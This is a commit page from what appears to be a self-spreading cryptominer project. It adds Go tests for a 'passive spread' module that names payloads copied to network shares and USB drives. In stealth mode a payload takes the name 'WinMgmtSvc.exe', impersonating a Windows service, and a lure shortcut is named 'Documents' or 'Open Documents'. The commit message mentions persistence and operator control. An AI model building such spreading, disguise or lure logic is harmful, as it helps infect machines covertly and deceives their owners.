Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
51
agent/deploy/passive_spread_windows_test.go
Normal file
51
agent/deploy/passive_spread_windows_test.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSharePayloadName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker alpha",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
cfg.StealthMode = true
|
||||
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
|
||||
t.Fatalf("stealth: got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUsbPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "sync agent",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLinkName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickLinkName(root); got != "Documents" {
|
||||
t.Fatalf("got %q want Documents", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickLinkName(empty); got != "Open Documents" {
|
||||
t.Fatalf("empty drive: got %q", got)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user